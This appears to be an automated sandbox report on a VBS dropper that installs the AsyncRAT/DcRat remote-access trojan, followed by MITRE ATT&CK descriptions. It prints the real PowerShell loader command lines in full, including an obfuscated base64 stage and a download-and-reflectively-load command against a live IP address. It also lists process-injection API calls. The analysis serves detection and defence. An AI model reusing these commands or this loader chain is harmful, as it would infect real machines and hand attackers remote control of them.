Oct 1, 2024 06:29:58.156641006 CEST	65	OUT	GET /Tak/Reg/Marz/ENVS/DJ1.txt HTTP/1.1 Host: 91.202.233.169
Oct 1, 2024 06:29:58.377931118 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 01 Oct 2024 04:29:58 GMT Content-Type: text/plain Content-Length: 64856 Connection: keep-alive Last-Modified: Mon, 30 Sep 2024 04:20:53 GMT ETag: "fd58-6234e87cc5340" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7AMAAAADAAAwAAAAAAAAAAAAAoQD+kHbi1WZzNXYvwjCNoQD+0SLgAiCN4Tej5WZk5WZwVGZvwDIgoQD+kHbi1WZzNXQ05WZk5WZwVGZvwDIgACIK0gPvACIgACIgACIK0gIqISPldWY1dmbhxGIgACIgACIgACIK0gImRWMmN2Y0QTM0YjY1kTN2ISPuV2avRVelt0YpxmY1BHIgACIgACIgACIK0gIqISPlJXd0NWZ0lGajJXQy92czV2YvJHcgACIgACIgACIgoQDiAjLw4CMuYjI942bpNnclZ

Target ID:	0
Start time:	00:29:53
Start date:	01/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sostener.vbs"
Imagebase:	0x7ff7aa200000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:29:54
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J Bx Gs dgB3 HI I 9 C Jw w Cc Ow k Gk YQBx HU Yw g D0 I n CU c B6 EE YwBP Gc SQBu E0 cg l Cc OwBb EI eQB0 GU WwBd F0 I k Hk dwBq GQ a g D0 I Bb HM eQBz HQ ZQBt C4 QwBv G4 dgBl HI d Bd Do OgBG HI bwBt EI YQBz GU Ng 0 FM d By Gk bgBn Cg I o E4 ZQB3 C0 TwBi Go ZQBj HQ I BO GU d u Fc ZQBi EM b Bp GU bgB0 Ck LgBE G8 dwBu Gw bwBh GQ UwB0 HI aQBu Gc K n Gg d B0 H Og v C8 OQ x C4 Mg w DI Lg y DM Mw u DE Ng 5 C8 V Bh Gs LwBS GU Zw v E0 YQBy Ho LwBE FI Rw v FI V BD C8 Rg z GQ b Bs C4 d B4 HQ Jw p Ck OwBb HM eQBz HQ ZQBt C4 QQBw H R Bv G0 YQBp G4 XQ 6 Do QwB1 HI cgBl G4 d BE G8 bQBh Gk bg u Ew bwBh GQ K k Hk dwBq GQ a p C4 RwBl HQ V B5 H ZQ o Cc QwBs GE cwBz Ew aQBi HI YQBy Hk MQ u EM b Bh HM cw x Cc KQ u Ec ZQB0 E0 ZQB0 Gg bwBk Cg JwBa Hg SwBI Ec Jw p C4 SQBu HY bwBr GU K k G4 dQBs Gw L g Fs bwBi Go ZQBj HQ WwBd F0 I o Cc d B4 HQ Lg x Eo R v FM VgBO EU LwB6 HI YQBN C8 ZwBl FI LwBr GE V v Dk Ng x C4 Mw z DI Lg y D Mg u DE OQ v C8 OgBw HQ d Bo Cc I s C J Bp GE cQB1 GM I s C JwBS Gc dgB1 Ec Jw s C J Bx Gs dgB3 HI L g Cc MQ n Cw I n FI bwBk GE Jw g Ck KQ 7 ==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace(' ','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\user\Desktop\sostener.vbs');powershell $KByHL;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:29:54
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:29:55
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$qkvwr = '0';$iaquc = 'C:\Users\user\Desktop\sostener.vbs';[Byte[]] $ywjdh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/F3dll.txt'));[system.AppDomain]::CurrentDomain.Load($ywjdh).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1JD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $iaquc , 'RgvuG', $qkvwr, '1', 'Roda' ));"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_DLAgent09, Description: Detects known downloader agent, Source: 00000003.00000002.1707124383.000001851CFD0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000003.00000002.1690160988.0000018504E7A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:29:57
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Imagebase:	0xdc0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2957234369.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2958714804.000000000148B000.00000004.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2959693552.0000000003181000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000004.00000002.2958104515.0000000001438000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFD9B8937B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1730534384.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b890000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 5b86534c8524b0afe59b57662357e645227b18a14a5c8e3dcc67305ce5c1f501
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: D001677121CB0D8FDB48EF0CE451AA6B7E0FB99364F10056DE58AC36A5D636E882CB45

Analysis Process: powershell.exePID: 4312, Parent PID: 3848COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B8974E4 Relevance: 2.0, APIs: 1, Instructions: 470
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE ref: 00007FFD9B89785A

Memory Dump Source

Source File: 00000003.00000002.1707947501.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cca51e4383081384e5e1491b44dd72c1023e963b71ff66b77848935adea8e2f7
Instruction ID: 037a7b2fde69e2f98db6a356539fa2d6c0d1c6293a5284798dc79ccb7e659f3a
Opcode Fuzzy Hash: cca51e4383081384e5e1491b44dd72c1023e963b71ff66b77848935adea8e2f7
Instruction Fuzzy Hash: 8AF19D70909A9C8FDB99DF58C864BE9BBF0EF5A310F0500EEC049E72A2DB345985CB01

Function 00007FFD9B897EED Relevance: 1.7, APIs: 1, Instructions: 214
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FFD9B89805E

Memory Dump Source

Source File: 00000003.00000002.1707947501.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a42b6ba7fc4a7536ccc46028faf3582bcadf13643363913c58bcfc380abe7526
Instruction ID: 321e6bfc4e8b2b9159bfc827ca973f9290ee059497c626c8424365e109d79a5d
Opcode Fuzzy Hash: a42b6ba7fc4a7536ccc46028faf3582bcadf13643363913c58bcfc380abe7526
Instruction Fuzzy Hash: 18611370908A5D8FDB98DF98C894BE9BBF1FB69310F1041AED04DE3291DB74A985CB40

Function 00007FFD9B8979E9 Relevance: 1.7, APIs: 1, Instructions: 189
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNELBASE ref: 00007FFD9B897B2E

Memory Dump Source

Source File: 00000003.00000002.1707947501.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 25916284187f03206d39fccb31ecb116b3b06dd254b33a21c9474d0fe3d1cd5e
Instruction ID: 0b786467a1e42596e52fe60bc31806a5b9c44fa872e07d82d9200250003127af
Opcode Fuzzy Hash: 25916284187f03206d39fccb31ecb116b3b06dd254b33a21c9474d0fe3d1cd5e
Instruction Fuzzy Hash: 7C519F70D08A4D8FDB59DF98C844BE9BBF1FB5A310F1082AAD048D7266C7749985CF40

Function 00007FFD9B8980D9 Relevance: 1.6, APIs: 1, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FFD9B8981A9

Memory Dump Source

Source File: 00000003.00000002.1707947501.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b890000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b1d9642ddd603b37743eeb28b2bc3dad44d2e80d2f43e3bb9beb18ec803d8888
Instruction ID: 36f802aafdc61dd42915a5f202b4d684a889a5ae6063bd2d631fde88da5d4eca
Opcode Fuzzy Hash: b1d9642ddd603b37743eeb28b2bc3dad44d2e80d2f43e3bb9beb18ec803d8888
Instruction Fuzzy Hash: 19415B7090874C8FDF59DF98D895BA9BBB0FF5A310F1041AED449E7252DA70A846CB41

Function 00007FFD9B96128B Relevance: .9, Instructions: 858
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1708290172.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06d6ed0eb1875313de1c1a85bc15dc002b5a1b58a1b158b38850dd1e7bcb7515
Instruction ID: 0582ec69ce02df32a53d6b8a366edb641cdfcfd8cf8d01e56a85a1c846ee3d67
Opcode Fuzzy Hash: 06d6ed0eb1875313de1c1a85bc15dc002b5a1b58a1b158b38850dd1e7bcb7515
Instruction Fuzzy Hash: 5D428B32B1EB995FE76A876858255B83BE1EF56224B0901FFD04DC71E3DD18AD06C381

Function 00007FFD9B96078D Relevance: .4, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1708290172.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1532f5884be9467a98dd402a73465d1a45283b39bd1775464985d1d377c35bc1
Instruction ID: ec9de7ee391f1e725ca8f75cdc22fedb99ccfdee90479ea1e3e7f4ae953836c9
Opcode Fuzzy Hash: 1532f5884be9467a98dd402a73465d1a45283b39bd1775464985d1d377c35bc1
Instruction Fuzzy Hash: 31B12522B2FB895FE7AA97A808F42B57BE1DF56B54B0900FBD08DC70E7E9095D058341

Function 00007FFD9B960DCE Relevance: .2, Instructions: 150
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1708290172.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f06afb18a1aa0cccefd25536ca878f7027bfc993e1030e0a5b3d52dd2bf4e59
Instruction ID: e6a556dff0ad52b3c7c2b2a8cb5b5c75c5f3c38bd93e7d499744fbe34469b038
Opcode Fuzzy Hash: 7f06afb18a1aa0cccefd25536ca878f7027bfc993e1030e0a5b3d52dd2bf4e59
Instruction Fuzzy Hash: 42411B22F5EE6D5FEBB69BAC28F16B877C1DF84B10B09017AD44DC319AED18AD014381

Function 00007FFD9B96085A Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1708290172.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549197b8bda4011b97a644ee7a548536ea3549467aafc0e29cfc2c708d99f940
Instruction ID: dba6fadadd13e772374a333aee6cced985b8d066c271489fa206ad93dcd27614
Opcode Fuzzy Hash: 549197b8bda4011b97a644ee7a548536ea3549467aafc0e29cfc2c708d99f940
Instruction Fuzzy Hash: 1631AE62F2FA9E5FF7B9E7A808F527826C19F55A94B4900BAD45DC20EBEC09AD404241

Analysis Process: RegSvcs.exePID: 6884, Parent PID: 4312COMMON

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	24
Total number of Limit Nodes:	1

Executed Functions

Function 013E65D0 Relevance: 1.5, Strings: 1, Instructions: 281
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\V\o, xrefs: 013E6887

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \V\o
API String ID: 0-61690773
Opcode ID: 22bbb7f1727a60fb7024cb0a6cc990d16f08ee0712b405d53f84e6070b03004b
Instruction ID: bc505b942cf2119ee0c3b3f231a92b8dc6369483d70ae80e9139de06ab80f19f
Opcode Fuzzy Hash: 22bbb7f1727a60fb7024cb0a6cc990d16f08ee0712b405d53f84e6070b03004b
Instruction Fuzzy Hash: 0AB14EB0E10329CFDF10CFA9D98A7DDBBF2AF98318F148129D415A7294EB749845CB81

Function 013E6EA0 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a9dcea97717d16a4106e35c416f5a773b4ac16efb2b052d387a7daf22a90ab
Instruction ID: 95c57c05fb2c8b21cd9ee85a5e9398782dbefb62df71e7b22a2d7c10b3ac8eeb
Opcode Fuzzy Hash: f7a9dcea97717d16a4106e35c416f5a773b4ac16efb2b052d387a7daf22a90ab
Instruction Fuzzy Hash: B6B13E70E10319CFDF14CFA9D8997DDBBF2AF88318F148529E415A7294EB749845CB81

Function 013E2074 Relevance: 1.6, APIs: 1, Instructions: 81
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 013E2111

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 38edd3c0eb9236599290f377d2a717561588390cb695d795054861585ab5b63c
Instruction ID: fa317f35593573ebb83a36fe28bde037b98d78b71961b7c8ca7dd92b00c2d752
Opcode Fuzzy Hash: 38edd3c0eb9236599290f377d2a717561588390cb695d795054861585ab5b63c
Instruction Fuzzy Hash: F53102B4D012589FDB24CFA8D588BDEBFF5AF48314F24802AE405AB2A4D774A945CB90

Function 013E2080 Relevance: 1.6, APIs: 1, Instructions: 71
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 013E2111

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 897d3d71e5e94329c4aa03c38329f382a818ef349e5cea26a34a250158db33b0
Instruction ID: c510930497eaaea7f19b0c945439d71de731eb47917fd73a2e86022854e76c16
Opcode Fuzzy Hash: 897d3d71e5e94329c4aa03c38329f382a818ef349e5cea26a34a250158db33b0
Instruction Fuzzy Hash: 4531EFB4D01248DFDB14CFA9D588B8EBBF5AF48314F248029E408AB3A4DB74A945CB94

Function 013E22D8 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 013E234C

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 4f1f183ff5b981ad51b6006bf4843033714c04c40d37a998164c45087a3b6efa
Instruction ID: f1d419a7c72fb6daa2428a508e8d3292f56692e4fea887949546208139f1fc38
Opcode Fuzzy Hash: 4f1f183ff5b981ad51b6006bf4843033714c04c40d37a998164c45087a3b6efa
Instruction Fuzzy Hash: 2811F4B19002499FDB10DFAAC844ADEFBF8EF88324F10842AD459A7250C775A944CFA5

Function 013E22D3 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 013E234C

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 7e0e7be8a49495ed3b60229c9da6ccf5dbfc8a0858f489acc1c373e204df6807
Instruction ID: 87f8bfe8ad53f2c898b265f3a3e0e6a6c61b7a12bbfde2cdc7345c2147474c11
Opcode Fuzzy Hash: 7e0e7be8a49495ed3b60229c9da6ccf5dbfc8a0858f489acc1c373e204df6807
Instruction Fuzzy Hash: 3521F7B19002498FDB20DFAAC484AEEFBF5FF88314F14842AE459A7250C7759945CFA0

Non-executed Functions

Function 013E6288 Relevance: 1.5, Strings: 1, Instructions: 238COMMON

Download Yara Rule

Strings

\V\o, xrefs: 013E64D3

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID:
String ID: \V\o
API String ID: 0-61690773
Opcode ID: f44b0b678bd3475b7213a47396c57b8450bb777d06b1b7bf6294be96b019a11d
Instruction ID: 4e76e81ec0003ee6c7e24131a7f28ef99c06bb94b5f76bdbca9989dfbe09f1c5
Opcode Fuzzy Hash: f44b0b678bd3475b7213a47396c57b8450bb777d06b1b7bf6294be96b019a11d
Instruction Fuzzy Hash: 81915EB0E00319CFDF14CFA9D99A7DDBBF2AF98318F148129E415A7294EB749845CB81

Function 013EB590 Relevance: 1.0, Instructions: 1020COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2957938947.00000000013E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 013E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_13e0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c0f0883bc1983c912c0e843da54fe1e20ba68a10a979264abacfdd0b9f1b28b
Instruction ID: 07ef221da4f0d82ce69c7f34dc5c27b18a3487697c03dc48e74167daf234458b
Opcode Fuzzy Hash: 1c0f0883bc1983c912c0e843da54fe1e20ba68a10a979264abacfdd0b9f1b28b
Instruction Fuzzy Hash: 39827A707003158FDB19EF69C998B2EBBE2FF84708F248529D5069B3A5CB75DC4A8B41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
